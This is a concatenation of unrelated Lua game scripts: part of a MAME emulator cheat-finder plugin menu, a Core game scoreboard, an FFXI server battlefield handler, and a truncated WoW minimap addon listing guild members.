expression_text = string.format(slot_val_comp, leftop, "!=", value)
end
return { expression_text, "", "on" }, f
end
menu[#menu + 1] = function() return { "---", "", "off" }, nil end
menu[#menu + 1] = function()
local m = { string.format("%d", leftop), "", "on" }
menu_lim(leftop, 1, #menu_blocks[1], m)
m[1] = string.format(_("Slot %d"), leftop)
return m, function(event) local r leftop, r = incdec(event, leftop, 1, #menu_blocks[1]) return r end
end
menu[#menu + 1] = function()
local m = { _(optable[opsel]), "", "on" }
menu_lim(opsel, 1, #optable, m)
local function f(event)
local r
opsel, r = incdec(event, opsel, 1, #optable)
if event == "left" or event == "right" or event == "comment" then
if optable[opsel] == "lt" then
manager.machine:popmessage(_("Left less than right"))
elseif optable[opsel] == "gt" then
manager.machine:popmessage(_("Left greater than right"))
elseif optable[opsel] == "eq" then
manager.machine:popmessage(_("Left equal to right"))
elseif optable[opsel] == "ne" then
manager.machine:popmessage(_("Left not equal to right"))
elseif optable[opsel] == "beq" then
manager.machine:popmessage(_("Left equal to right with bitmask"))
elseif optable[opsel] == "bne" then
manager.machine:popmessage(_("Left not equal to right with bitmask"))
elseif optable[opsel] == "ltv" then
manager.machine:popmessage(_("Left less than value"))
elseif optable[opsel] == "gtv" then
manager.machine:popmessage(_("Left greater than value"))
elseif optable[opsel] == "eqv" then
manager.machine:popmessage(_("Left equal to value"))
elseif optable[opsel] == "nev" then
manager.machine:popmessage(_("Left not equal to value"))
end
end
return r
end
return m, f
end
menu[#menu + 1] = function()
if optable[opsel]:sub(3, 3) == "v" then
return nil
end
local m = { string.format("%d", rightop), "", "on" }
menu_lim(rightop, 1, #menu_blocks[1], m)
m[1] = string.format(_("Slot %d"), rightop)
return m, function(event) local r rightop, r = incdec(event, rightop, 1, #menu_blocks[1]) return r end
end
menu[#menu + 1] = function()
if optable[opsel] == "bne" or optable[opsel] == "beq" or optable[opsel] == "eq" then
return nil
end
local m
if optable[opsel] == "ltv" or optable[opsel] == "gtv" or optable[opsel] == "eqv" or optable[opsel] == "nev" then
m = { _("Value"), value, "" }
else
m = { _("Difference"), value, "" }
end
local max = 100 -- max value?
menu_lim(value, 0, max, m)
if value == 0 and optable[opsel]:sub(3, 3) ~= "v" then
m[2] = _("Any")
end
return m, function(event) local r value, r = incdec(event, value, 0, max) return r end
end
menu[#menu + 1] = function() return { "---", "", "off" }, nil end
menu[#menu + 1] = function()
local m = { _("Data Format"), formname[width], "on" }
menu_lim(width, 1, #formtable, m)
return m, function(event) local r width, r = incdec(event, width, 1, #formtable) return r end
end
menu[#menu + 1] = function()
local pokevaltable = { _("Slot 1 Value"), _("Last Slot Value"), "0x00", "0x01", "0x02", "0x03", "0x04", "0x05", "0x06",
"0x07", "0x08", "0x09", "0x63 (99)", "0x99", "0xFF (255)" , "0x3E7 (999)", "0x999", "0x270F (9999)",
"0x9999", "0xFFFF (65535)" }
local m = { _("Test/Write Poke Value"), pokevaltable[pokevalsel], "on" }
menu_lim(pokevalsel, 1, #pokevaltable, m)
local function f(event)
local r
pokevalsel, r = incdec(event, pokevalsel, 1, #pokevaltable)
if event == "left" or event == "right" or event == "comment" then
if pokevalsel == 1 then
manager.machine:popmessage(_("Use this if you want to poke the Slot 1 value (eg. You started with something but lost it)"))
elseif pokevalsel == 2 then
manager.machine:popmessage(_("Use this if you want to poke the Last Slot value (eg. You started without an item but finally got it)"))
else
manager.machine:popmessage(string.format(_("Use this if you want to poke %s"), pokevaltable[pokevalsel]))
end
end
return r
end
return m, f
end
menu[#menu + 1] = function()
if optable[opsel] == "bne" or optable[opsel] == "beq" then
return nil
end
local m = { "BCD", _("Off"), "on" }
menu_lim(bcd, 0, 1, m)
if bcd == 1 then
m[2] = _("On")
end
return m, function(event) local r bcd, r = incdec(event, bcd, 0, 1) return r end
end
menu[#menu + 1] = function()
if formtable[width]:sub(3, 3) == "1" then
return nil
end
local m = { _("Aligned only"), _("Off"), "on" }
menu_lim(align, 0, 1, m)
if align == 1 then
m[2] = _("On")
end
return m, function(event) local r align, r = incdec(event, align, 0, 1) return r end
end
if #matches ~= 0 then
menu[#menu + 1] = function()
local function f(event)
if event == "select" then
matches[#matches] = nil
matchpg = 0
return true
end
return false
end
return { _("Undo last search -- #") .. #matches, "", "on" }, f
end
menu[#menu + 1] = function() return { "---", "", "off" }, nil end
menu[#menu + 1] = function()
local m = { _("Match block"), matchsel, "" }
menu_lim(matchsel, 0, #matches[#matches], m)
if matchsel == 0 then
m[2] = _("All")
end
local function f(event)
local r
matchsel, r = incdec(event, matchsel, 0, #matches[#matches])
if r then
matchpg = 0
end
return r
end
return m, f
end
local function mpairs(sel, list, start)
if #list == 0 then
return function() end, nil, nil
end
if sel ~= 0 then
list = {list[sel]}
end
local function mpairs_it(list, i)
local match
i = i + 1
local sel = i + start
for j = 1, #list do
if sel <= #list[j] then
match = list[j][sel]
break
else
sel = sel - #list[j]
end
end
if not match then
return
end
return i, match
end
return mpairs_it, list, 0
end
local bitwidth = formtable[width]:sub(3, 3)
if bitwidth == "2" then
bitwidth = " %04x"
elseif bitwidth == "4" then
bitwidth = " %08x"
elseif bitwidth == "8" then
bitwidth = " %016x"
elseif bitwidth == "f" or bitwidth == "d" then
bitwidth = " %010f"
else
bitwidth = " %02x"
end
local function match_exec(match)
local dev = devtable[devcur]
local wid = formtable[width]:sub(3, 3)
local widchar
local pokevalue
local form
if pokevalsel == 1 then
pokevalue = match.oldval
elseif pokevalsel == 2 then
pokevalue = match.newval
elseif pokevalsel == 3 then
pokevalue = 0
elseif pokevalsel == 4 then
pokevalue = 1
elseif pokevalsel == 5 then
pokevalue = 2
elseif pokevalsel == 6 then
pokevalue = 3
elseif pokevalsel == 7 then
pokevalue = 4
elseif pokevalsel == 8 then
pokevalue = 5
elseif pokevalsel == 9 then
pokevalue = 6
elseif pokevalsel == 10 then
pokevalue = 7
elseif pokevalsel == 11 then
pokevalue = 8
elseif pokevalsel == 12 then
pokevalue = 9
elseif pokevalsel == 13 then
pokevalue = 99
elseif pokevalsel == 14 then
pokevalue = 153
elseif pokevalsel == 15 then
pokevalue = 255
elseif pokevalsel == 16 and wid == "1" then
pokevalue = 99
elseif pokevalsel == 17 and wid == "1" then
pokevalue = 153
elseif pokevalsel == 18 and wid == "1" then
pokevalue = 99
elseif pokevalsel == 19 and wid == "1" then
pokevalue = 153
elseif pokevalsel == 20 and wid == "1" then
pokevalue = 255
elseif pokevalsel == 16 then
pokevalue = 999
elseif pokevalsel == 17 then
pokevalue = 2457
elseif pokevalsel == 18 then
pokevalue = 9999
elseif pokevalsel == 19 then
pokevalue = 39321
elseif pokevalsel == 20 then
pokevalue = 65535
end
local cheat = { desc = string.format(_("Test Cheat %08X_%02X"), match.addr, pokevalue), script = {} }
if wid == "2" then
wid = "u16"
form = "%08x %04x"
widchar = "w"
elseif wid == "4" then
wid = "u32"
form = "%08x %08x"
widchar = "d"
elseif wid == "8" then
wid = "u64"
form = "%08x %016x"
widchar = "q"
elseif wid == "f" then
wid = "u32"
form = "%08x %f"
widchar = "d"
elseif wid == "d" then
wid = "u64"
form = "%08x %f"
widchar = "q"
else
wid = "u8"
form = "%08x %02x"
widchar = "b"
end
if getmetatable(dev.space).__name:match("device_t") then
cheat.ram = { ram = dev.tag }
cheat.script.run = "ram:write(" .. match.addr .. "," .. pokevalue .. ")"
elseif getmetatable(dev.space).__name:match("memory_share") then
cheat.share = { share = dev.tag }
cheat.script.run = "share:write_" .. wid .. "(" .. match.addr .. "," .. pokevalue .. ")"
else
cheat.space = { cpu = { tag = dev.tag, type = dev.sname } }
cheat.script.run = "cpu:write_" .. wid .. "(" .. match.addr .. "," .. pokevalue .. ")"
end
if match.mode == 1 then
if not emu.plugin.cheat then
manager.machine:popmessage(_("Cheat engine not available"))
else
emu.plugin.cheat.inject(cheat)
end
elseif match.mode == 2 then
cheat_save = {}
menu = 1
menu_player = 1
menu_type = 1
local setname = emu.romname()
if emu.softname() ~= "" then
if emu.softname():find(":") then
setname = emu.softname():gsub(":", "/")
else
for name, image in pairs(manager.machine.images) do
if image.exists and image.software_list_name ~= "" then
setname = image.software_list_name .. "/" .. emu.softname()
end
end
end
end
cheat_save.path = emu.subst_env(manager.machine.options.entries.cheatpath:value()):match("([^;]+)")
cheat_save.filename = string.format("%s/%s", cheat_save.path, setname)
cheat_save.name = cheat.desc
local json = require("json")
cheat.desc = "%s"
cheat_save.json = json.stringify({[1] = cheat}, {indent = true})
cheat_save.xml = string.format("<mamecheat version=\"1\">\n <cheat desc=\"%%s\">\n <script state=\"run\">\n <action>%s.pp%s@%X=%X</action>\n </script>\n </cheat>\n</mamecheat>", dev.tag:sub(2), widchar, match.addr, match.newval)
cheat_save.simple = string.format("%s,%s,%X,%s,%X,%%s\n", setname, dev.tag, match.addr, widchar, pokevalue)
cheat_save.dat = string.format(":%s:40000000:%X:%08X:FFFFFFFF:%%s\n", setname, match.addr, pokevalue)
manager.machine:popmessage(string.format(_("Default name is %s"), cheat_save.name))
return true
else
local func = "return space:read"
local env = {}
if not getmetatable(dev.space).__name:match("device_t") then
env.space = devtable[devcur].space;
func = func .. "_" .. wid
else
env.space = emu.item(dev.space.items["0/m_pointer"])
end
func = func .. "(" .. match.addr .. ")"
watches[#watches + 1] = { addr = match.addr, func = load(func, func, "t", env), format = form }
return true
end
return false
end
for num2, match in mpairs(matchsel, matches[#matches], matchpg * 100) do
if num2 > 100 then
break
end
menu[#menu + 1] = function()
if not match.mode then
match.mode = 1
end
local modes = { _("Test"), _("Write"), _("Watch") }
local m = { string.format("%08x" .. bitwidth .. bitwidth, match.addr, match.oldval,
match.newval), modes[match.mode], "on" }
menu_lim(match.mode, 1, #modes, m)
local function f(event)
local r
match.mode, r = incdec(event, match.mode, 1, 3)
if event == "select" then
r = match_exec(match)
end
return r
end
return m, f
end
end
if matches[#matches].count > 100 then
menu[#menu + 1] = function()
local m = { _("Page"), matchpg, "on" }
local max
if matchsel == 0 then
max = math.ceil(matches[#matches].count / 100) - 1
else
max = #matches[#matches][matchsel]
end
menu_lim(matchpg, 0, max, m)
local function f(event)
local r
matchpg, r = incdec(event, matchpg, 0, max)
return r
end
return m, f
end
end
end
if #watches ~= 0 then
menu[#menu + 1] = function()
return { _("Clear Watches"), "", "on" }, function(event) if event == "select" then watches = {} return true end end
end
end
end
return menu_prepare()
end
local function menu_callback(index, event)
if event == "cancel" and pausesel == 1 then
emu.unpause()
menu_is_showing = false
return false -- return false so menu will be popped off the stack
end
return menu_func[index](event)
end
emu.register_menu(menu_callback, menu_populate, _("Cheat Finder"))
emu.register_frame_done(function ()
local screen = manager.machine.render.ui_container
local height = mame_manager.ui.line_height
for num, watch in ipairs(watches) do
screen:draw_text("left", num * height, string.format(watch.format, watch.addr, watch.func()))
end
if tabbed_out and manager.ui.menu_active then
emu.pause()
menu_is_showing = true
tabbed_out = false
end
end)
emu.register_periodic(function ()
if menu_is_showing and not manager.ui.menu_active then
emu.unpause()
menu_is_showing = false
tabbed_out = true
end
end)
end
return exports
|
--[[
Copyright 2019 Manticore Games, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--]]
local CONST = require(script:GetCustomProperty("MetaAbilityProgressionConstants_API"))
local ABGS = require(script:GetCustomProperty("ABGS"))
local PLAYER_TITLES = require(script:GetCustomProperty("PlayerTitles"))
-- Internal custom properties
local COMPONENT_ROOT = script:GetCustomProperty("ComponentRoot"):WaitForObject()
local HEADER = script:GetCustomProperty("Header"):WaitForObject()
local TEAM_NAME = HEADER:GetCustomProperty("TeamName"):WaitForObject()
local PANEL = script:GetCustomProperty("Panel"):WaitForObject()
local LINE_TEMPLATE = script:GetCustomProperty("LineTemplate")
-- User exposed properties
local BINDING = COMPONENT_ROOT:GetCustomProperty("Binding")
local SHOW_AT_ROUND_END = COMPONENT_ROOT:GetCustomProperty("ShowAtRoundEnd")
local ROUND_END_DURATION = COMPONENT_ROOT:GetCustomProperty("RoundEndDuration")
-- Check user properties
if SHOW_AT_ROUND_END and ROUND_END_DURATION <= 0.0 then
warn("RoundEndDuration must be positive")
ROUND_END_DURATION = 5.0
end
-- Constants
local LOCAL_PLAYER = Game.GetLocalPlayer()
local FRIENDLY_COLOR = Color.New(0.0, 0.25, 1.0)
local ENEMY_COLOR = Color.New(1.0, 0.0, 0.0)
-- Wait for team colors
while not _G.TeamColors do
Task.Wait()
end
-- Variables
local headerLine = nil
local playerLines = {}
local atRoundEnd = false
local atPlayerShowcase
local roundEndTime = 0.0
local bindingDown = false
local localPlayerTitle = PLAYER_TITLES.GetPlayerTitle(LOCAL_PLAYER)
function OnTeamVictory(messsage)
if messsage == "" then
return
end
TEAM_NAME.text = messsage
TEAM_NAME:GetChildren()[1].text = messsage
HEADER.visibility = Visibility.INHERIT
end
-- nil OnBindingPressed(Player, string)
-- Keep track of the binding state to show the scoreboard
function OnBindingPressed(player, binding)
if binding == BINDING then
local currentState = ABGS.GetGameState()
if currentState == ABGS.GAME_STATE_PLAYER_SHOWCASE then
return
end
bindingDown = true
end
end
-- nil OnBindingReleased(Player, string)
-- Keep track of the binding state to show the scoreboard
function OnBindingReleased(player, binding)
if binding == BINDING then
bindingDown = false
end
end
-- nil OnPlayerJoined(Player)
-- Add a line to the scoreboard when a player joins
function OnPlayerJoined(player)
local newLine = World.SpawnAsset(LINE_TEMPLATE, {parent = PANEL})
newLine.y = 26.5 * (#playerLines + 1)
table.insert(playerLines, newLine)
end
-- nil OnPlayerLeft(Player)
-- Remove a line when a player leaves
function OnPlayerLeft(player)
playerLines[#playerLines]:Destroy()
playerLines[#playerLines] = nil
end
-- nil OnRoundEnd()
-- Handles showing the scoreboard if ShowAtRoundEnd is selected
function OnRoundEnd()
roundEndTime = time()
atRoundEnd = true
end
function OnGameStateChanged(oldState, newState)
if newState == ABGS.GAME_STATE_ROUND_END then
atRoundEnd = true
elseif newState == ABGS.GAME_STATE_PLAYER_SHOWCASE then
HEADER.visibility = Visibility.FORCE_OFF
atRoundEnd = false
atPlayerShowcase = true
Task.Wait()
PANEL.visibility = Visibility.FORCE_OFF
else
atRoundEnd = false
atPlayerShowcase = false
end
end
-- bool ComparePlayers(Player, Player)
-- Comparing function that sets the sorting order
function ComparePlayers(player1, player2)
-- First sort by team
if player1.team ~= player2.team then
return player1.team < player2.team
end
-- Second we use kills
if player1.kills ~= player2.kills then
return player1.kills > player2.kills
end
-- Third we use deaths
if player1.deaths ~= player2.deaths then
return player1.deaths < player2.deaths
end
-- Use name to ensure consistent order for players that are tied
return player1.name < player2.name
end
-- nil Tick(float)
-- Update visibility and displayed information
function Tick(deltaTime)
if bindingDown or atRoundEnd then
PANEL.visibility = Visibility.INHERIT
elseif not atPlayerShowcase then
PANEL.visibility = Visibility.FORCE_OFF
end
if PANEL.visibility == Visibility.INHERIT then
local players = Game.GetPlayers()
table.sort(players, ComparePlayers)
for i, player in ipairs(players) do
local line = playerLines[i]
local RES = CONST.COMBAT_STATS
--line:GetCustomProperty("PlayerImage"):WaitForObject():SetImage(player)
local nameText = line:GetCustomProperty("Name"):WaitForObject()
nameText.text = player.name
if player:GetResource(CONST.VIP_MEMBERSHIP_KEY) == 1 then
nameText.x = 145
line:GetCustomProperty("VIPImage"):WaitForObject().visibility = Visibility.FORCE_ON
else
nameText.x = 120
line:GetCustomProperty("VIPImage"):WaitForObject().visibility = Visibility.FORCE_OFF
end
while not _G["Class.Progression"] do
Task.Wait()
end
line:GetCustomProperty("Level"):WaitForObject().text = tostring(_G["Class.Progression"].GetCurrentClassLevel(player))
if player == LOCAL_PLAYER then
line:GetCustomProperty("Name"):WaitForObject():SetColor(_G.TeamColors[3])
else
line:GetCustomProperty("Name"):WaitForObject():SetColor(_G.TeamColors[player.team])
end
line:GetCustomProperty("KillsText"):WaitForObject().text = tostring(player.kills)
line:GetCustomProperty("DeathsText"):WaitForObject().text = tostring(player.deaths)
line:GetCustomProperty("UltKills"):WaitForObject().text = tostring(player:GetResource(RES.ASSIST_KILLS))
line:GetCustomProperty("CapturePoints"):WaitForObject().text =
tostring(player:GetResource(RES.TOTAL_CAPTURE_POINTS) + player:GetResource(RES.CAPTURE_ASSISTS))
line:GetCustomProperty("Damage"):WaitForObject().text = tostring(player:GetResource(RES.TOTAL_DAMAGE_RES))
line:GetCustomProperty("Healing"):WaitForObject().text = tostring(player:GetResource(RES.TOTAL_HEALING_RES))
line:GetCustomProperty("Killstreak"):WaitForObject().text =
tostring(player:GetResource(RES.LARGEST_KILL_STREAK))
local title = PLAYER_TITLES.GetPlayerTitle(player)
local TitleImage = line:GetCustomProperty("TitleImage"):WaitForObject()
local PlayerImage = line:GetCustomProperty("PlayerImage"):WaitForObject()
PlayerImage:SetImage(player)
if title and title.icon then
TitleImage:SetImage(title.icon or "")
TitleImage:SetColor(title.iconColor or Color.WHITE)
TitleImage.visibility = Visibility.FORCE_ON
else
TitleImage.visibility = Visibility.FORCE_OFF
end
end
end
end
-- Initialize
PANEL.visibility = Visibility.FORCE_OFF
headerLine = World.SpawnAsset(LINE_TEMPLATE, {parent = PANEL})
headerLine:GetCustomProperty("PlayerImage"):WaitForObject().visibility = Visibility.FORCE_OFF
headerLine:GetCustomProperty("TitleImage"):WaitForObject().visibility = Visibility.FORCE_OFF
headerLine:GetCustomProperty("VIPImage"):WaitForObject().visibility = Visibility.FORCE_OFF
headerLine:GetCustomProperty("Level"):WaitForObject().text = "Level"
headerLine:GetCustomProperty("Name"):WaitForObject().text = "Name"
headerLine:GetCustomProperty("KillsText"):WaitForObject().text = "Kills"
headerLine:GetCustomProperty("DeathsText"):WaitForObject().text = "Deaths"
headerLine:GetCustomProperty("UltKills"):WaitForObject().text = "Kill Assists"
headerLine:GetCustomProperty("CapturePoints"):WaitForObject().text = "Caps/Assists"
headerLine:GetCustomProperty("Damage"):WaitForObject().text = "Damage"
headerLine:GetCustomProperty("Healing"):WaitForObject().text = "Healing"
headerLine:GetCustomProperty("Killstreak"):WaitForObject().text = "Kill Streak"
--[[for _, player in ipairs(Game.GetPlayers()) do
OnPlayerJoined(player)
end]]--
Game.playerLeftEvent:Connect(OnPlayerLeft)
Game.playerJoinedEvent:Connect(OnPlayerJoined)
LOCAL_PLAYER.bindingPressedEvent:Connect(OnBindingPressed)
LOCAL_PLAYER.bindingReleasedEvent:Connect(OnBindingReleased)
Events.Connect("TeamVictory_Client", OnTeamVictory)
Events.Connect("GameStateChanged", OnGameStateChanged)
if SHOW_AT_ROUND_END then
Game.roundEndEvent:Connect(OnRoundEnd)
end
|
-----------------------------------
-- Area: Cloister of Tides
-- BCNM: Trial-size Trial by Water
-----------------------------------
local ID = require("scripts/zones/Cloister_of_Tides/IDs")
require("scripts/globals/battlefield")
require("scripts/globals/quests")
-----------------------------------
function onBattlefieldTick(battlefield, tick)
tpz.battlefield.onBattlefieldTick(battlefield, tick)
end
function onBattlefieldRegister(player, battlefield)
end
function onBattlefieldEnter(player, battlefield)
end
function onBattlefieldLeave(player, battlefield, leavecode)
if leavecode == tpz.battlefield.leaveCode.WON then
local name, clearTime, partySize = battlefield:getRecord()
local arg8 = (player:getQuestStatus(OUTLANDS, tpz.quest.id.outlands.TRIAL_SIZE_TRIAL_BY_WATER) == QUEST_COMPLETED) and 1 or 0
player:startEvent(32001, battlefield:getArea(), clearTime, partySize, battlefield:getTimeInside(), 1, battlefield:getLocalVar("[cs]bit"), arg8)
elseif leavecode == tpz.battlefield.leaveCode.LOST then
player:setCharVar("TrialSizeWater_date", tonumber(os.date("%j"))) -- If you lose, you need to wait 1 real day
player:startEvent(32002)
end
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
if csid == 32001 then
if not player:hasSpell(300) then
player:addSpell(300)
player:messageSpecial(ID.text.LEVIATHAN_UNLOCKED, 0, 0, 2)
player:addItem(1260);
player:messageSpecial(ID.text.ITEM_OBTAINED,1260);
end
if not player:hasItem(4181) then
player:addItem(4181) -- Scroll of instant warp
player:messageSpecial(ID.text.ITEM_OBTAINED, 4181)
end
player:setCharVar("TrialSizeWater_date", 0)
player:addFame(NORG, 30)
player:completeQuest(OUTLANDS, tpz.quest.id.outlands.TRIAL_SIZE_TRIAL_BY_WATER)
end
end
|
local _, nMinimap = ...
local cfg = nMinimap.Config
local select = select
local ceil = math.ceil
local modf = math.modf
local format = string.format
local sort = table.sort
local tinsert = tinsert
local playerName, _ = UnitName("player")
local playerRealm = GetRealmName()
local NUM_ADDONS_TO_DISPLAY = cfg.tab.numberOfAddons or GetNumAddOns()
local activezone = CreateColor(0.3, 1.0, 0.0, 1)
local inactivezone = CreateColor(0.75, 0.75, 0.75, 1)
local guildIcon = CreateTextureMarkup("Interface\\GossipFrame\\TabardGossipIcon", 16, 16, 16, 16, 0, 1, 0, 1, 0, 0)
local friendIcon = CreateAtlasMarkup("groupfinder-icon-friend", 18, 18)
local performanceIcon = CreateTextureMarkup("Interface\\AddOns\\nMinimap\\media\\texturePerformance", 32, 32, 10, 10, 0, 1, 0, 1, 0, 0)
local FriendListEntries = { }
local GuildListEntries = { }
local MemoryListEntries = { }
local AddonTable = { }
for i = 1, NUM_ADDONS_TO_DISPLAY do
AddonTable[i] = { value = 0, name = "" }
end
local statusText = {
[0] = "",
[1] = CHAT_MSG_AFK,
[2] = DEFAULT_DND_MESSAGE
}
local gradientColor = {
[0] = CreateColor(0, 1, 0, 1),
[1] = CreateColor(1, 1, 0, 1),
[2] = CreateColor(1, 0, 0, 1)
}
local function ColorGradient(perc, colors)
local num = #colors
if perc >= 1 then
return colors[num]
elseif perc <= 0 then
return colors[0]
end
local segment, relperc = modf(perc*num)
local r1, g1, b1, r2, g2, b2
r1, g1, b1 = colors[segment]:GetRGB()
r2, g2, b2 = colors[segment+1]:GetRGB()
if not r2 or not g2 or not b2 then
return colors[0]
else
local r = r1 + (r2-r1)*relperc
local g = g1 + (g2-g1)*relperc
local b = b1 + (b2-b1)*relperc
return CreateColor(r, g, b, 1)
end
end
local function RGBGradient(num)
num = num or 0
local r, g, b = ColorGradient(num, gradientColor):GetRGB()
return r, g, b
end
local function SetupChildFrames(self, template, numEntries, initialOffsetX, initialOffsetY, initialPoint, initialRelative, offsetX, offsetY, point, relativePoint)
local round = function (num) return math.floor(num + .5) end
local scrollChild = self.scrollChild
local entry, entryHeight, entries
local parentName = self:GetName()
local entryName = parentName and (parentName .. "Entry") or nil
initialPoint = initialPoint or "TOPLEFT"
initialRelative = initialRelative or "TOPLEFT"
point = point or "TOPLEFT"
relativePoint = relativePoint or "BOTTOMLEFT"
offsetX = offsetX or 0
offsetY = offsetY or 0
if self.entries then
entries = self.entries
entryHeight = entries[1]:GetHeight()
else
entry = CreateFrame("FRAME", entryName and (entryName .. 1) or nil, scrollChild, template)
entryHeight = entry:GetHeight()
entry:SetPoint(initialPoint, scrollChild, initialRelative, initialOffsetX, initialOffsetY)
entry:SetPoint("TOPRIGHT", scrollChild, initialOffsetX, initialOffsetY)
entries = {}
tinsert(entries, entry)
end
self.entryHeight = round(entryHeight) - offsetY
local numEntries = numEntries or math.ceil(self:GetHeight() / self.entryHeight) + 1
for i = #entries + 1, numEntries do
entry = CreateFrame("FRAME", entryName and (entryName .. i) or nil, scrollChild, template)
entry:SetPoint(point, entries[i-1], relativePoint, offsetX, offsetY)
entry:SetPoint("TOPRIGHT", entries[i-1], "BOTTOMRIGHT", offsetX, offsetY)
tinsert(entries, entry)
end
scrollChild:SetWidth(self:GetWidth())
scrollChild:SetHeight(numEntries * self.entryHeight)
self:SetVerticalScroll(0)
self:UpdateScrollChildRect()
self.entries = entries
end
local function CreateScrollFrame(name, width, height, numChild)
local scrollFrame = CreateFrame("ScrollFrame", name.."ScrollFrame", UIParent, "TooltipScrollFrameTemplate")
scrollFrame:SetSize(width, height)
scrollFrame:SetPoint("CENTER")
scrollFrame:Hide()
scrollFrame.scrollChild = CreateFrame("FRAME", name.."ScrollChild")
scrollFrame:SetScrollChild(scrollFrame.scrollChild)
scrollFrame.scrollBar = _G[scrollFrame:GetName().."ScrollBar"]
scrollFrame.scrollBar:SetAlpha(0)
SetupChildFrames(scrollFrame, "DoubleTemplate", numChild)
scrollFrame:SetScript("OnSizeChanged", function(self, width, height)
if self:IsShown() then
GameTooltip:SetMinimumWidth(width)
GameTooltip:SetPadding(0, 0)
end
end)
return scrollFrame
end
function nMinimapTab_OnLoad(self)
if not cfg.tab.show then
self:Hide()
self:UnregisterAllEvents()
self.Guild:UnregisterAllEvents()
self.Friends:UnregisterAllEvents()
self.Info:UnregisterAllEvents()
return
end
self.lastUpdate = 0
self:RegisterEvent("PLAYER_LOGIN")
self:SetWidth(Minimap:GetWidth()-6)
self:CreateBeautyBorder(11)
nMinimapTab_HideTab()
if cfg.tab.showBelowMinimap then
self:ClearAllPoints()
self:SetPoint("TOP", Minimap, "BOTTOM", 0, 2)
end
end
function nMinimapTab_OnUpdate(self, elapsed)
self.lastUpdate = self.lastUpdate + elapsed
if self.lastUpdate > 5 then
local _, _, _, lagWorld = GetNetStats()
self.Info.Text:SetText(performanceIcon..lagWorld)
self.lastUpdate = 0
end
end
function nMinimapTab_ShowTab()
if not cfg.tab.show then
return
end
securecall("UIFrameFadeIn", nMinimapTab, 0.20, nMinimapTab:GetAlpha(), 1)
end
function nMinimapTab_HideTab()
GameTooltip:Hide()
if cfg.tab.showAlways or not cfg.tab.show then
return
end
securecall("UIFrameFadeOut", nMinimapTab, 0.20, nMinimapTab:GetAlpha(), 0)
end
--// Guild Frame
function nMinimap:UpdateGuildText(self)
if IsInGuild() then
local totalMembers, onlineMembers, onlineAndMobileMembers = GetNumGuildMembers()
self.Text:SetFormattedText("%s%d", guildIcon, onlineMembers)
else
self.Text:SetText(guildIcon.." -")
end
end
local GuildScroll = CreateScrollFrame("Guild", 300, 340, 1000)
function nMinimap_UpdateGuildButton(entry)
local scrollFrame = GuildScrollFrame
local index = entry.index
entry.id = GuildListEntries[index].id
local height = scrollFrame.entryHeight
local minWidth = scrollFrame:GetWidth()
local zonec, classc, levelc
local name, rank, _, level, _, zone, note, officernote, connected, status, class, _ = GetGuildRosterInfo(entry.id)
if connected then
zone = zone or UNKNOWN
if GetRealZoneText() == zone then
zonec = activezone
else
zonec = inactivezone
end
levelc = GetQuestDifficultyColor(level)
classc = RAID_CLASS_COLORS[class]
level = WrapTextInColorCode(level, CreateColor(levelc.r, levelc.g, levelc.b, 1):GenerateHexColor())
name = WrapTextInColorCode(name, classc:GenerateHexColor())
zone = WrapTextInColorCode(zone, zonec:GenerateHexColor())
entry.LeftText:SetFormattedText("%s %s %s", level, name, statusText[status])
entry.RightText:SetText(zone)
minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+100)
entry:Show()
end
scrollFrame:SetWidth(minWidth)
scrollFrame.scrollChild:SetWidth(minWidth)
return height
end
function nMinimap_UpdateGuildMembers()
local scrollFrame = GuildScrollFrame
local offset = scrollFrame.offset
local entries = scrollFrame.entries
local numEntries = #entries
local numFrames = scrollFrame.numEntries
sort(GuildListEntries, function(a, b)
if a.name and b.name then
return a.name < b.name
end
end)
local usedHeight = 0
for i = 1, numEntries do
local frame = entries[i]
local index = offset + i
if frame then
if index <= numFrames then
frame.index = index
local height = nMinimap_UpdateGuildButton(frame)
frame:SetHeight(height)
usedHeight = usedHeight + height
else
frame.index = nil
frame:Hide()
end
end
end
usedHeight = math.min(usedHeight, 340)
if not scrollFrame:IsVisible() then
scrollFrame:SetHeight(usedHeight)
else
scrollFrame.isPendingHeight = true
scrollFrame.pendingHeight = usedHeight
end
scrollFrame.scrollChild:SetHeight(usedHeight)
end
function nMinimapTab_Guild_UpdateScrollFrame()
local scrollFrame = GuildScrollFrame
local addButtonIndex = 0
local totalButtonHeight = 0
local function AddButtonInfo(id, name)
addButtonIndex = addButtonIndex + 1
if not GuildListEntries[addButtonIndex] then
GuildListEntries[addButtonIndex] = { }
end
GuildListEntries[addButtonIndex].id = id
GuildListEntries[addButtonIndex].name = name
totalButtonHeight = totalButtonHeight + scrollFrame.entryHeight
end
for i = 1, GetNumGuildMembers() do
local name, rank, _, level, _, zone, note, officernote, connected, status, class, _ = GetGuildRosterInfo(i)
if connected and name ~= playerName.."-"..playerRealm then
AddButtonInfo(i, name)
end
end
scrollFrame.totalEntriesHeight = totalButtonHeight
scrollFrame.numEntries = addButtonIndex
nMinimap_UpdateGuildMembers()
end
function nMinimapTab_Guild_OnEvent(self, event, ...)
if event == "PLAYER_GUILD_UPDATE" or event == "GUILD_ROSTER_UPDATE" then
GuildRoster()
end
nMinimap:UpdateGuildText(self)
nMinimapTab_Guild_UpdateScrollFrame()
end
function nMinimapTab_Guild_ShowTooltip(self)
if not IsInGuild() then
return
end
if IsShiftKeyDown() then
nMinimap:UpdateGuildText(self)
nMinimapTab_Guild_UpdateScrollFrame()
end
local totalMembers, onlineMembers, onlineAndMobileMembers = GetNumGuildMembers()
